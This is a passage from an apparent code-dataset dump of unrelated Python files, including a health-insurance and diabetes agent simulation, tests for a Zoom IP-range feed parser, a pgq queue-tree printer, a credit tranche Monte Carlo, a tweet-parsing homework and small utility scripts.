'benchmark']].set_index('date'))\n stat.plot_results()\n\n\nif __name__ == \"__main__\":\n strategy_by_sector_for_eco_zone(\"USD\")\n strategy_by_stocks_in_eco_zone(\"USD\")\n strategy_by_sector_for_eco_zone('USD')\n\n my_path = Path(__file__).parent.parent.parent.parent.resolve()\n data = np.load(str(my_path) + '/eBlackFireCapitalFiles/stocks_with_recommendations_signal.npy').item()\n data = pd.DataFrame(data['data'], columns=data['entete'])\n\n benchmark = np.load(str(my_path) + '/eBlackFireCapitalFiles/sectors_with_recommendations_signal.npy').item()\n benchmark = pd.DataFrame(benchmark['data'], columns=benchmark['header'])\n\n get_statistics_strategy_by_stocks_in_eco_zone('ALL',\n data,\n benchmark[benchmark['naics'].astype(str) == '111'])\n for naics in data['naics'].unique():\n\n print(naics)\n get_statistics_strategy_by_stocks_in_eco_zone(naics,\n data[data['naics'].astype(str) == naics],\n benchmark[benchmark['naics'].astype(str) == naics]\n )\n","sub_path":"cBlackFireCapitalMarketStrategy/PriceRecommendationStockStrategy/sector/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":30546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"135766859","text":"\n\nfrom xai.brain.wordbase.verbs._file import _FILE\n\n#calss header\nclass _FILED(_FILE, ):\n\tdef __init__(self,): \n\t\t_FILE.__init__(self)\n\t\tself.name = \"FILED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"file\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_filed.py","file_name":"_filed.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"312281468","text":"import sciris as sc\n\ntorun = [\n'colorize',\n'printing',\n'profile',\n]\n\n# Test colorize\nif 'colorize' in torun:\n sc.colorize(showhelp=True)\n sc.colorize('green', 'hi') # Simple example\n sc.colorize(['yellow', 'bgblack']); print('Hello world'); print('Goodbye world'); sc.colorize('reset') # Colorize all output in between\n bluearray = sc.colorize(color='blue', string=str(range(5)), output=True); print(\"c'est bleu: \" + bluearray)\n sc.colorize('magenta') # Now type in magenta for a while\n print('this is magenta')\n sc.colorize('reset') # Stop typing in magenta\n\n# Test printing functions\nif 'printing' in torun:\n example = sc.prettyobj()\n example.data = sc.vectocolor(10)\n print('sc.pr():')\n sc.pr(example)\n print('sc.pp():')\n sc.pp(example.data)\n string = sc.pp(example.data, doprint=False)\n \n \n# Test profiling functions\nif 'profile' in torun:\n \n def slow_fn():\n n = 10000\n int_list = []\n int_dict = {}\n for i in range(n):\n int_list.append(i)\n int_dict[i] = i\n return\n \n class Foo:\n def __init__(self):\n self.a = 0\n return\n \n def outer(self):\n for i in range(100):\n self.inner()\n return\n \n def inner(self):\n for i in range(1000):\n self.a += 1\n return\n \n foo = Foo()\n sc.profile(run=foo.outer, follow=[foo.outer, foo.inner])\n sc.profile(slow_fn)","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"38158375","text":"#! /usr/bin/env python\n\n\"\"\"Info about node/set/members. For admin tool.\n\"\"\"\n\n__all__ = ['MemberInfo', 'NodeInfo', 'QueueInfo']\n\n# node types\nROOT = 'root'\nBRANCH = 'branch'\nLEAF = 'leaf'\n\nclass MemberInfo:\n \"\"\"Info about set member.\"\"\"\n def __init__(self, row):\n self.name = row['node_name']\n self.location = row['node_location']\n self.dead = row['dead']\n\nclass NodeInfo:\n \"\"\"Detailed info about set node.\"\"\"\n def __init__(self, queue_name, row, main_worker = True):\n self.queue_name = queue_name\n self.member_map = {}\n self.main_worker = main_worker\n\n self.name = row['node_name']\n self.type = row['node_type']\n self.global_watermark = row['global_watermark']\n self.local_watermark = row['local_watermark']\n self.completed_tick = row['worker_last_tick']\n self.provider_node = row['provider_node']\n self.provider_location = row['provider_location']\n self.consumer_name = row['worker_name']\n self.worker_name = row['worker_name']\n self.paused = row['worker_paused']\n self.uptodate = row['worker_uptodate']\n self.combined_queue = row['combined_queue']\n self.combined_type = row['combined_type']\n\n self.parent = None\n self.consumer_map = {}\n self.queue_info = {}\n\n self._row = row\n\n self._info_lines = []\n\n def __get_target_queue(self):\n qname = None\n if self.type == LEAF:\n if self.combined_queue:\n qname = self.combined_queue\n else:\n return None\n else:\n qname = self.queue_name\n if qname is None:\n raise Exception(\"no target queue\")\n return qname\n\n def get_infolines(self):\n lst = self._info_lines\n\n if self.parent:\n root = self.parent\n while root.parent:\n root = root.parent\n tick_time = self.parent.consumer_map[self.consumer_name]['tick_time']\n root_time = root.queue_info['now']\n lag = root_time - tick_time\n else:\n lag = self.queue_info['ticker_lag']\n txt = \"lag: %s\" % lag\n if self.paused:\n txt += \", PAUSED\"\n if not self.uptodate:\n txt += \", NOT UPTODATE\"\n lst.append(txt)\n return lst\n \n def add_info_line(self, ln):\n self._info_lines.append(ln)\n\n def load_status(self, curs):\n self.consumer_map = {}\n self.queue_info = {}\n if self.queue_name:\n q = \"select consumer_name, current_timestamp - lag as tick_time,\"\\\n \" lag, last_seen, last_tick \"\\\n \"from pgq.get_consumer_info(%s)\"\n curs.execute(q, [self.queue_name])\n for row in curs.fetchall():\n cname = row['consumer_name']\n self.consumer_map[cname] = row\n q = \"select current_timestamp - ticker_lag as tick_time,\"\\\n \" ticker_lag, current_timestamp as now \"\\\n \"from pgq.get_queue_info(%s)\"\n curs.execute(q, [self.queue_name])\n self.queue_info = curs.fetchone()\n\nclass QueueInfo:\n \"\"\"Info about cascaded queue.\n \n Slightly broken, as all info is per-node.\n \"\"\"\n\n def __init__(self, queue_name, info_row, member_rows):\n self.local_node = NodeInfo(queue_name, info_row)\n self.queue_name = queue_name\n self.member_map = {}\n self.node_map = {}\n self.add_node(self.local_node)\n\n for r in member_rows:\n n = MemberInfo(r)\n self.member_map[n.name] = n\n\n def get_member(self, name):\n return self.member_map.get(name)\n\n def get_node(self, name):\n return self.node_map.get(name)\n\n def add_node(self, node):\n self.node_map[node.name] = node\n\n #\n # Rest is about printing the tree\n #\n\n _DATAFMT = \"%-30s%s\"\n def print_tree(self):\n \"\"\"Print ascii-tree for set.\n Expects that data for all nodes is filled in.\"\"\"\n\n root = self._prepare_tree()\n self._tree_calc(root)\n datalines = self._print_node(root, '', [])\n for ln in datalines:\n print(self._DATAFMT % (' ', ln))\n\n def _print_node(self, node, pfx, datalines):\n # print a tree fragment for node and info\n # returns list of unprinted data rows\n for ln in datalines:\n print(self._DATAFMT % (_setpfx(pfx, '|'), ln))\n datalines = node.get_infolines()\n print(\"%s%s\" % (_setpfx(pfx, '+--'), node.name))\n\n for i, n in enumerate(node.child_list):\n sfx = ((i < len(node.child_list) - 1) and ' |' or ' ')\n datalines = self._print_node(n, pfx + sfx, datalines)\n\n return datalines\n\n def _prepare_tree(self):\n # reset vars, fill parent and child_list for each node\n # returns root\n root = None\n for node in self.node_map.values():\n node.total_childs = 0\n node.levels = 0\n node.child_list = []\n if node.type == ROOT:\n root = node\n for node in self.node_map.values():\n if node.provider_node and node.provider_node != node.name:\n p = self.node_map[node.provider_node]\n p.child_list.append(node)\n node.parent = p\n else:\n node.parent = None\n\n if root is None:\n raise Exception(\"root node not found\")\n return root\n\n def _tree_calc(self, node):\n # calculate levels and count total childs\n # sort the tree based on them\n total = len(node.child_list)\n levels = 1\n for subnode in node.child_list:\n self._tree_calc(subnode)\n total += subnode.total_childs\n if levels < subnode.levels + 1:\n levels = subnode.levels + 1\n node.total_childs = total\n node.levels = levels\n node.child_list.sort(key = _node_key)\n\ndef _setpfx(pfx, sfx):\n if pfx:\n pfx = pfx[:-1] + sfx\n return pfx\n\ndef _node_key(n):\n return (n.levels, n.total_childs)\n\n","sub_path":"python/pgq/cascade/nodeinfo.py","file_name":"nodeinfo.py","file_ext":"py","file_size_in_byte":6135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"201371102","text":"# -*- coding: utf-8 -*-\n\n\nimport xml.etree.cElementTree as ET\nimport xml.dom.minidom\nimport Tkinter as tk\nfrom dissector_builder_area import Dissector_builder_area\n\nclass ExportProjectXML():\n \n def create_xml(self, Dissector_builder_area):\n \n root = ET.Element('PDGSgui')\n field = ET.Element('Field')\n root.append(field)\n \n fieldType = ET.SubElement(field, 'StartField')\n fieldType.text = 'the stuff'\n xPos = ET.SubElement(field, 'xPos')\n xPos.text = '300'\n yPos = ET.SubElement(field, 'yPos')\n yPos.text = '320'\n \n \n #get postitions of active widgets\n field_items = Dissector_builder_area.canvas.children.values()\n for i, item in enumerate(field_items):\n print(item.winfo_width())\n\n\n \n print(root)\n\n \n #Write and print\n xmlstr = ET.tostring(root, encoding='utf8', method='xml')\n \n parsed_xml = xml.dom.minidom.parseString(xmlstr) # or xml.dom.minidom.parseString(xml_string)\n pretty_xml_as_string = parsed_xml.toprettyxml()\n print(pretty_xml_as_string)\n \n #Returns the non-pretty xml to prevent possible spacing errors\n return xmlstr\n# tree = ET.ElementTree(root)\n# tree.write(\"gui.xml\")\n# print(xmlst)\n \nif __name__ == \"__main__\":\n root = tk.Tk()\n root.withdraw()\n s = ExportProjectXML()\n s.create_xml(Dissector_builder_area(root))\n root.mainloop()","sub_path":"src/GUI/export_project.py","file_name":"export_project.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"551607607","text":"def unikati(s):\r\n vrnjenSeznam = []\r\n for element in s:\r\n if element not in vrnjenSeznam:\r\n vrnjenSeznam.append(element)\r\n return vrnjenSeznam\r\n\r\ndef izloci_besedo(beseda):\r\n for i in range(0,len(beseda)-1):\r\n if beseda[i].isalnum() == True:\r\n for j in range(len(beseda),i,-1):\r\n if beseda[j-1].isalnum() == True:\r\n beseda = beseda[i:j]\r\n break\r\n break\r\n return beseda\r\n\r\ndef se_zacne_z(tvit, c):\r\n seznam = tvit.split()\r\n seznamSeZacne = []\r\n for element in seznam:\r\n if element[0] == c:\r\n seznamSeZacne.append(izloci_besedo(element))\r\n return seznamSeZacne\r\n\r\ndef zberi_se_zacne_z(tviti, c):\r\n seznam = []\r\n for tvit in tviti:\r\n seznam += se_zacne_z(tvit,c)\r\n return unikati(seznam)\r\n\r\ndef vsi_avtorji(tviti):\r\n seznamAvtorjev = []\r\n for tvit in tviti:\r\n seznamAvtorjev.append(avtor(tvit))\r\n return unikati(seznamAvtorjev)\r\n\r\ndef besedilo(tvit):\r\n avtor, tekst = tvit.split(\": \",1)\r\n return tekst\r\n\r\ndef avtor(tvit):\r\n ime, tekst = tvit.split(\": \",1)\r\n return ime\r\n\r\ndef zadnji_tvit(tviti):\r\n zadnjiTviti = {}\r\n for tvit in tviti:\r\n zadnjiTviti[avtor(tvit)] = besedilo(tvit)\r\n return zadnjiTviti\r\n\r\ndef prvi_tvit(tviti):\r\n prviTviti = {}\r\n for tvit in tviti:\r\n if avtor(tvit) not in prviTviti:\r\n prviTviti[avtor(tvit)] = besedilo(tvit)\r\n return prviTviti\r\n\r\ndef prestej_tvite(tviti):\r\n steviloTvitov = {}\r\n for tvit in tviti:\r\n if avtor(tvit) not in steviloTvitov:\r\n steviloTvitov[avtor(tvit)] = 1\r\n else:\r\n steviloTvitov[avtor(tvit)] += 1\r\n return steviloTvitov\r\n\r\ndef omembe(tviti):\r\n avtorji = vsi_avtorji(tviti)\r\n omenjeneOsebe = {}\r\n for ime in avtorji:\r\n for tvit in tviti:\r\n if avtor(tvit) == ime:\r\n if avtor(tvit) not in omenjeneOsebe:\r\n omenjeneOsebe[avtor(tvit)] = se_zacne_z(tvit, \"@\")\r\n else:\r\n omenjeneOsebe[avtor(tvit)] = omenjeneOsebe[avtor(tvit)] + se_zacne_z(tvit,\"@\")\r\n return omenjeneOsebe\r\n\r\ndef neomembe(ime, omembe):\r\n neomenjeneOsebe = []\r\n vsaImena = []\r\n for avtor in omembe:\r\n vsaImena.append(avtor)\r\n for naziv in vsaImena:\r\n if naziv != ime:\r\n if naziv not in omembe[ime]:\r\n neomenjeneOsebe.append(naziv)\r\n return neomenjeneOsebe\r\n\r\n\r\n","sub_path":"code/batch-2/vse-naloge-brez-testov/DN6-M-052.py","file_name":"DN6-M-052.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"429374188","text":"## Script (Python) \"getBeginAndEndTimes\"\n##bind container=container\n##bind context=context\n##bind namespace=\n##bind script=script\n##bind subpath=traverse_subpath\n##parameters=day, month, year\n##title=\n##\n\nday=int(day)\nmonth=int(month)\nyear=int(year)\n\nbegin=DateTime('%d-%02d-%02d 00:00:00' % (year, month, day))\nend=DateTime('%d-%02d-%02d 23:59:59' % (year, month, day))\n\nreturn (begin, end)\n","sub_path":"SimpleBlog/tags/1.3.5qg/skins/SimpleBlog/getBeginAndEndTimes.py","file_name":"getBeginAndEndTimes.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"326154141","text":"from FeedZoom import Client\n\n\nURL = \"https://support.zoom.us/hc/en-us/articles/201362683-Network-Firewall-or-Proxy-Server-Settings-for-Zoom\"\n\n\ndef test_build_iterator(requests_mock):\n with open('test_data/zoom_endpoint_mock.html', 'r') as file:\n response = file.read()\n requests_mock.get(URL, text=response)\n expected_cidr = '3.7.35.0/25'\n expected_ipv6 = '2620:123:2000::/40'\n expected_glob = '*.zoom.us'\n client = Client(\n base_url=URL,\n verify=False,\n proxy=False,\n )\n indicators = client.build_iterator()\n cidr_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'CIDR'}\n ipv6_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'IPv6CIDR'}\n domain_glob_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'DomainGlob'}\n assert expected_cidr in cidr_indicators\n assert expected_ipv6 in ipv6_indicators\n assert expected_glob in domain_glob_indicators\n","sub_path":"Packs/FeedZoom/Integrations/FeedZoom/FeedZoom_test.py","file_name":"FeedZoom_test.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"275600018","text":"import random as RD\nfrom itertools import count\nimport matplotlib.pyplot as plt\nimport numpy\nimport math\nimport csv\n\n# Input and Output File Paths\nInputFile = \"C:/Users/ktcomer/Documents/MSIM/HealthSimInputSheet.csv\"\nOutputFile = \"C:/Users/ktcomer/Documents/MSIM/HealthSimOutputSheet.csv\"\n\n# Random seed generator\nRD.seed()\n\n# Number of Patients in the run\nNumPatients = 100000\nUSPopulation = 330000000\n\n# Chances of having diabetes, based on age and ethnicity (CDC Report, 2017)\nBaseRate = 0.000066\nWhiteOddsRate = 0.9351\nBlackOddsRate = 1.3621\nHispOddsRate = 1.0272\nOtherOddsRate = 0.95\nLessHSOddsRate = 1.6765\nHSOddsRate = 1.166\nMoreHSOddsRate = 0.7785\n\n# Parameters for the Mortality Function (Lenart 2012)\ngompertz_alpha = 0.0000015\ngompertz_beta = 0.12\n\n# Policy Parameters (will be input to the simulation)\n# MedicareAge = 65\nmedicarePercentage = 0.25\n# MedicaidIncomeElig = 1.38\nFedPovLevel = 12060\n\n# Administration Cost for Private Insurers\nAdminCost = 0.15\n\n# Inertial Force of patients switching to a new private insurance company\nInertialPriceForce = 1.5\n\n# Difference in cost factor for individuals with diabetes (ADA Publication, 2017)\nDiabetesCostFactor = 4.0\ndiabetes_risk = 0.109\nDiabetesQualityFactor = 0.5\n\n# Cost of care for individuals, without diabetes (CDC, 2014)\nYoungestCostMean = 2877\nYoungCostMean = 3727\nMiddleCostMean = 7837\nOldCostMean = 13029\nOldestCostMean = 25251\n\n# Pareto parameter for determining cost of care\nPareto_alpha = 2.806\n\n# Increased chance of death from diabetes (ADA Publication, 2017)\nDiabetesMortalityRisk = 1.6\n\n# Cost of care for individuals, with and without diabetes (ADA Publication, 2017)\nCareCostMean = 4185\nDiabetesCostMean = 9600\ndiabetes_risk = 0.109\n\n# Maximum percent of income spent on healthcare premium\nMaxPercentIns = 0.35#0.1\n\n# Cumulative Prospect Theory parameters, for the purposes of estimating costs\nalpha = 0.88\nlmda = 2.25\ngamma = 0.61\ndelta = 0.69\n\n# Rates of diagnosis, based on age\nAgeDiagnosed = 1.084\n\n# Chance of getting diagnosed with insurance, dependent on race\nWhiteInsDiagnosed = 1.462\nBlackInsDiagnosed = 1.168\nAsianInsDiagnosed = 1.32\nHispInsDiagnosed = 0.98\nMexInsDiagnosed = 0.777\n\n# Chance of getting control, dependent on attributes\nInsControl = 3.96\nBlackControl = 1.3\nHispControl = 0.43\nFemaleControl = 0.53\nYoungControl = 0.34\nOldControl = 0.85\n\nriskAversion = 1.15 #hedge risk of unexpected healthcare costs in future\n\nclass Agent(object):\n id_generator = count()\n \"\"\"\n \n \"\"\"\n def __init__(self):\n self.ident = Agent.id_generator.next()\n\n def __hash__(self):\n return self.ident\n \nclass Patient(Agent):\n \n def __init__(self, ethnicity, policySettings, seed=None):\n self.income = 0\n self.ethnicity = ethnicity\n self.age = 0\n self.MortalityHazardRatio = 1.0\n self.deceased = False\n self.diabetes = False\n self.diagnosed = False\n self.controlled = False\n self.insured = False\n self.Medicare = False\n self.Medicaid = False\n self.PrivateInsured = False\n self.QALY = 0\n self.plan = None \n self.education = \"\"\n self.IPR = 0.0\n self.care_cost = 0\n self.history = []\n self.expected_expenses = 0\n self.policySettings = policySettings\n \n def grow_older(self):\n # Incorporated increased hazard ratios for diabetes based on Wang & Liu (2016)\n if self.diabetes == True and self.controlled == False:\n self.QALY = self.QALY - DiabetesQualityFactor\n if self.age < 20:\n self.MortalityHazardRatio = 3.03\n elif self.age < 30:\n self.MortalityHazardRatio = 2.98\n elif self.age < 40:\n self.MortalityHazardRatio = 2.81\n elif self.age < 50:\n self.MortalityHazardRatio = 2.26\n elif self.age < 60:\n self.MortalityHazardRatio = 1.82\n elif self.age < 70:\n self.MortalityHazardRatio = 1.64\n elif self.age < 80:\n self.MortalityHazardRatio = 1.53\n else: self.MortalityHazardRatio = 1.04\n chance_of_death = gompertz_alpha * math.exp(gompertz_beta * self.age) * self.MortalityHazardRatio\n if RD.random() <= chance_of_death:\n self.deceased = True\n if self.diabetes == True:\n if self.age < 83: self.YLL = 83 - self.age\n else: \n self.age = self.age + 1\n self.QALY += 1.0\n \n def contract_diabetes(self):\n diabetes_chance = BaseRate * self.age\n if self.ethnicity == \"Non-Hispanic White\":\n diabetes_chance = diabetes_chance * WhiteOddsRate\n elif self.ethnicity == \"Non-Hispanic Black\":\n diabetes_chance = diabetes_chance * BlackOddsRate\n elif self.ethnicity == \"Non-Hispanic Asian\":\n diabetes_chance = diabetes_chance * OtherOddsRate\n elif self.ethnicity == \"Other Hispanic\" or self.ethnicity == \"Mexican American\":\n diabetes_chance= diabetes_chance * HispOddsRate\n if self.education == \"Less Than High School Diploma\":\n diabetes_chance = diabetes_chance * LessHSOddsRate\n elif self.education == \"Some College or AA degree\":\n diabetes_chance = diabetes_chance * MoreHSOddsRate \n else: diabetes_chance = diabetes_chance * HSOddsRate\n if RD.random() <= diabetes_chance:\n self.diabetes = True\n self.diagnose_diabetes()\n if self.diagnosed == True:\n self.control_diabetes()\n \n def diagnose_diabetes(self):\n # Given that an individual has diabetes, the probability it can be diagnosed\n diagnosis_chance = math.pow(1.084, self.age) / 100.0\n if self.insured:\n if self.ethnicity == \"Non-Hispanic White\":\n diagnosis_chance = diagnosis_chance * WhiteInsDiagnosed\n elif self.ethnicity == \"Non-Hispanic Black\":\n diagnosis_chance = diagnosis_chance * BlackInsDiagnosed\n elif self.ethnicity == \"Non-Hispanic Asian\":\n diagnosis_chance = diagnosis_chance * AsianInsDiagnosed\n if self.ethnicity == \"Other Hispanic\":\n diagnosis_chance = diagnosis_chance * HispInsDiagnosed\n if self.ethnicity == \"Mexican American\":\n diagnosis_chance = diagnosis_chance * MexInsDiagnosed\n if RD.random() <= diagnosis_chance:\n self.diagnosed = True\n \n def control_diabetes(self):\n # Given that an individual has diabetes, the probability they can control it with medication\n control_chance = 0.252873\n if self.insured:\n control_chance = control_chance * InsControl\n if self.ethnicity == \"Non-Hispanic Black\":\n control_chance = control_chance * BlackControl\n if self.ethnicity == \"Mexican American\" or self.ethnicity == \"Other Hispanic\":\n control_chance = control_chance * HispControl\n if self.gender == \"Female\":\n control_chance = control_chance * FemaleControl\n if self.age <= 44:\n control_chance = control_chance * YoungControl\n if self.age >= 65:\n control_chance = control_chance * OldControl\n if RD.random() <= control_chance:\n self.controlled = True\n \n def add_plan(self, NewPlan):\n # The patient adds the plan provided by Payer\n # This will only occur if patient currently has no plan\n if self.plan is None:\n self.plan = NewPlan\n NewPlan.subscribers.append(self)\n \n def drop_plan(self):\n # The patient wil drop the plan offered by Payer\n # This will only occur if patient currently has a plan\n if self.plan is not None:\n self.plan.subscribers.remove(self)\n self.plan = None\n \n def estimate_expenses(self):\n # W is the perceived probability of a catastrophic accident occurring\n # V1 is the perceived loss for regular years\n # V2 is a catastrophic loss that the patient may incur\n care_estimate = max(self.history)\n if self.diagnosed == False:\n diabetes_estimate = care_estimate * DiabetesCostFactor\n else: diabetes_estimate = self.history[-1]\n V1 = lmda * pow(care_estimate, alpha)\n V2 = lmda * pow(diabetes_estimate, alpha)\n W = pow(diabetes_risk, delta)/pow(pow(diabetes_risk, delta) + pow(1.0 - diabetes_risk, delta), (1.0/delta))\n self.expected_expenses = (1.0 - W) * V1 + W * V2\n \n def choose_plan(self, newPlan, Medicare, Medicaid):\n privateCost = newPlan.premium + newPlan.deductible\n # If they are eligible for Medicaid, they will enroll into Medicaid.\n if self.income <= (self.policySettings.MedicaidIncomeElig * FedPovLevel):\n self.Medicare = False\n self.PrivateInsured = False\n self.Medicaid = True\n self.drop_plan()\n self.add_plan(Medicaid)\n # If they are eligible for Medicare, they will enroll into Medicare.\n elif self.age >= self.policySettings.MedicareAge:\n self.Medicare = True\n self.PrivateInsured = False\n self.Medicaid = False\n self.drop_plan()\n self.add_plan(Medicare)\n # If a patient's expected expenses are greater than the current best premium on the market, they will buy insurance. Otherwise, they will not.\n elif self.expected_expenses*riskAversion >= privateCost and (privateCost/self.income) <= MaxPercentIns: ###review this logic\n self.PrivateInsured = True\n self.Medicaid = False\n self.Medicare = False\n if self.plan == None:\n self.add_plan(newPlan)\n elif self.plan == Medicare or self.plan == Medicaid:\n self.drop_plan()\n self.add_plan(newPlan)\n elif privateCost < (self.plan.premium / InertialPriceForce):\n self.drop_plan()\n self.add_plan(newPlan)\n #else keep your existing private plan\n else: \n self.PrivateInsured = False\n self.drop_plan()\n \n #Check if they are insured\n if self.PrivateInsured or self.Medicare or self.Medicaid:\n self.insured = True\n else: \n self.Medicare = False\n self.PrivateInsured = False\n self.Medicaid = False\n self.insured = False\n self.drop_plan()\n \n \n def add_expense(self):\n # The patient has incurred a medical expense and must subtract it from their wealth\n if self.age <= 18:\n CareCostMean = YoungestCostMean\n elif self.age <= 44:\n CareCostMean = YoungCostMean\n elif self.age <= 64:\n CareCostMean = MiddleCostMean\n elif self.age <= 84:\n CareCostMean = OldCostMean\n else:\n CareCostMean = OldestCostMean\n if self.diabetes == True:\n CareCostMean = CareCostMean * DiabetesCostFactor\n self.care_cost = numpy.random.pareto(Pareto_alpha) * CareCostMean\n self.history.append(self.care_cost)\n if self.plan != None:\n plan_cost = max([0,self.care_cost - self.plan.deductible])\n cash_cost = min([self.plan.deductible, self.care_cost])\n self.plan.add_cost(plan_cost)\n else:\n cash_cost = self.care_cost\n","sub_path":"patient.py","file_name":"patient.py","file_ext":"py","file_size_in_byte":11523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"378798156","text":"import random\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\n\nn = 100\nrho = .8\nnum_sims = 10000\nbeta = rho**0.5\nalpha = (1 -rho)**0.5\nprob_default = 0.1\ntranche_cutoffs = [0, 0.2, 1]\n# tranche_cutoffs = [0, 0.03, 0.07, 0.1, 0.15, 0.30, 1 ]\ntranche_to_watch = 2 #(1 to num tranches)\n\n# run simulation\nz_default = norm.ppf(prob_default) # quantile function\nmax_defaults_protection = n * tranche_cutoffs[tranche_to_watch - 1]\nwiped_out = n * tranche_cutoffs[tranche_to_watch ]\nprint (max_defaults_protection, wiped_out)\n\n# histogram = [0] * (n+1)\ntrial_results = []\ntranche_values = []\nfor _ in range(num_sims):\n M = random.gauss(0, 1)\n K = 0 # number of variables that are > 0\n for _ in range(n):\n R_i = beta * M + alpha * random.gauss(0, 1)\n if R_i < z_default:\n K += 1\n # histogram[K] += 1\n trial_results.append(K)\n tranch_value = wiped_out - min(wiped_out, max(0, K - max_defaults_protection))\n tranche_values.append(tranch_value)\n\n# print(histogram)\nprint('Mean tranche value = ' + str(sum(tranche_values)/ num_sims))\nplt.hist(tranche_values, bins=n+1, normed=0, align='mid')\nplt.title('Distribution of Tranche Value in ' + str(num_sims) + ' trials')\nplt.xlabel('Value')\nplt.ylabel('Frequency')\nplt.show()","sub_path":"files/Friday Workshop/2_24_20/creditindex.py","file_name":"creditindex.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"471837526","text":"# -*- coding: utf-8 -*-\n\"\"\"Base class to inherit to add indexing.\"\"\"\n\nfrom ghstore.index import Index\nfrom ghstore.store import Store\n\n\nclass Storable(object):\n \"\"\"Base class adding indexing functionality.\"\"\"\n store_env = None\n _search_primary_key = None\n\n @property\n def _store(self):\n return Store(Index.get_path(self))\n\n def save(self):\n \"\"\"Save object to the index.\"\"\"\n if not self.exists(self):\n return self._store.save(self)\n return False\n\n @classmethod\n def length(cls):\n \"\"\"How many objects of this type are in the index.\"\"\"\n store = cls._get_store()\n return store.length(cls)\n\n def delete(self):\n \"\"\"Delete thi s object from the index.\"\"\"\n for attribute in vars(self):\n for instance in self.search(getattr(self, attribute)):\n if instance == self:\n self._store.delete(instance)\n return True\n return False\n\n @classmethod\n def delete_all(cls):\n \"\"\"Delete all objects of this type from the index.\"\"\"\n store = cls._get_store()\n store.delete_all(cls)\n\n @classmethod\n def _get_store(cls):\n store = Store()\n return store\n\n @classmethod\n def list(cls):\n \"\"\"List all objects of this type from the index.\"\"\"\n store = cls._get_store()\n return store.search(cls)\n\n @classmethod\n def exists(cls, instance):\n \"\"\"Verify if this object exists in the index.\"\"\"\n if cls.length():\n store = cls._get_store()\n primary_key = getattr(instance, cls._search_primary_key)\n for result in store.search(cls, search_term=primary_key):\n if result == instance:\n return True\n return False\n\n @classmethod\n def search(cls, search_term, attributes=None):\n \"\"\"Search for this object type in the index.\"\"\"\n store = cls._get_store()\n return store.search(cls, search_term=search_term, attributes=attributes)\n","sub_path":"ghstore/storable_object.py","file_name":"storable_object.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"168095516","text":"import regions, schools\n\ndef day_nbr_to_str(weekdayNbr):\n\n if weekdayNbr == 1:\n weekday = \"Monday\"\n elif weekdayNbr == 2:\n weekday = \"Tuesday\"\n elif weekdayNbr == 3:\n weekday = \"Wednesday\"\n elif weekdayNbr == 4:\n weekday = \"Thursday\"\n elif weekdayNbr == 5:\n weekday = \"Friday\"\n\n return weekday\n\ndef day_str_to_nbr(weekday):\n\n # Numbers correspond to mongdodb notation of dayes\n # NB datetime.datetime.weekday() => 0 --> 4 for Monday - Friday\n\n\n if weekday == \"Monday\":\n weekdayNbr = 1\n elif weekday == \"Tuesday\":\n weekdayNbr = 2\n elif weekday == \"Wednesday\":\n weekdayNbr = 3\n elif weekday == \"Thursday\":\n weekdayNbr = 4\n elif weekday == \"Friday\":\n weekdayNbr = 5\n\n return weekdayNbr\n\ndef article_number_to_price(art_nbr):\n art_nbr = str(art_nbr)\n if len(art_nbr) == 4:\n hour_price = art_nbr[1:]\n elif len(art_nbr) == 3:\n hour_price = art_nbr\n\n try:\n hour_price = float(hour_price)\n return hour_price\n except TypeError:\n print(\"Can't convert article number\")\n","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"486833903","text":"#maha\nn,k=map(int,input().split(\" \"))\nn=n+1\nl=[]\nwhile n= 1 jour\n if uptime in [\"day\",\"days\"]:\n uptime = subprocess.getoutput('uptime | cut -d \" \" -f 4 ')\n\n hours = subprocess.getoutput('uptime -p').split(\",\")[1].split()[0]\n\n if int(uptime) > 1:\n if int(hours):\n uptime = \"{0} jours {1} heure(s)\".format(uptime,hours)\n else:\n uptime = \"{0} jours\".format(uptime)\n else:\n uptime = \"une journée\"\n\n if not uptime:\n uptime = subprocess.getoutput('uptime | cut -d \" \" -f 4 ')[:-1]\n\n # Formatage en langage courant des minutes.\n if uptime == \"min\":\n minutes = subprocess.getoutput('uptime').split()[2]\n\n if int(minutes) > 45:\n uptime = \"+ 3/4 h\"\n elif int(minutes) == 45:\n uptime = \"3/4 h\"\n elif int(minutes) > 30:\n uptime = \"+ 1/2 h\"\n elif int(minutes) == 30:\n uptime = \"1/2 h\"\n elif int(minutes) > 15:\n uptime = \"+ 1/4 h\"\n elif int(minutes) == 15:\n uptime = \"1/4 h\"\n elif int(minutes) > 5:\n uptime = minutes + \" \" + \"min.\"\n else:\n uptime = \"qq. 